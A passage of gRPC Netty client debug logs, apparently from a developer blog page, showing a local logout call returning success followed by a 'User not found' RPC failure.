R:localhost/127.0.0.1:8099] INBOUND DATA: streamId=5 padding=0 endStream=false length=46 bytes=00000000290a277b22636f6465223a3230302c226d657373616765223a224c6f676f75742073756363657373227d 17:36:27.261 [grpc-nio-worker-ELG-1-2] DEBUG io.grpc.netty.shaded.io.grpc.netty.NettyClientHandler - [id: 0xbee5fc34, L:/127.0.0.1:59389 - R:localhost/127.0.0.1:8099] OUTBOUND PING: ack=false bytes=1234 17:36:27.262 [grpc-nio-worker-ELG-1-2] DEBUG io.grpc.netty.shaded.io.grpc.netty.NettyClientHandler - [id: 0xbee5fc34, L:/127.0.0.1:59389 - R:localhost/127.0.0.1:8099] INBOUND HEADERS: streamId=5 headers=GrpcHttp2ResponseHeaders[grpc-status: 0] padding=0 endStream=true 17:36:27.263 [grpc-nio-worker-ELG-1-2] DEBUG io.grpc.netty.shaded.io.grpc.netty.NettyClientHandler - [id: 0xbee5fc34, L:/127.0.0.1:59389 - R:localhost/127.0.0.1:8099] INBOUND PING: ack=true bytes=1234 Logout Response: {"code":200,"message":"Logout success"} 17:36:27.266 [grpc-nio-worker-ELG-1-2] DEBUG io.grpc.netty.shaded.io.grpc.netty.NettyClientHandler - [id: 0xbee5fc34, L:/127.0.0.1:59389 - R:localhost/127.0.0.1:8099] OUTBOUND GO_AWAY: lastStreamId=0 errorCode=0 length=0 bytes= RPC failed: Status{code=FAILED_PRECONDITION, description=User not found, cause=null}
最新发布
08-27
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值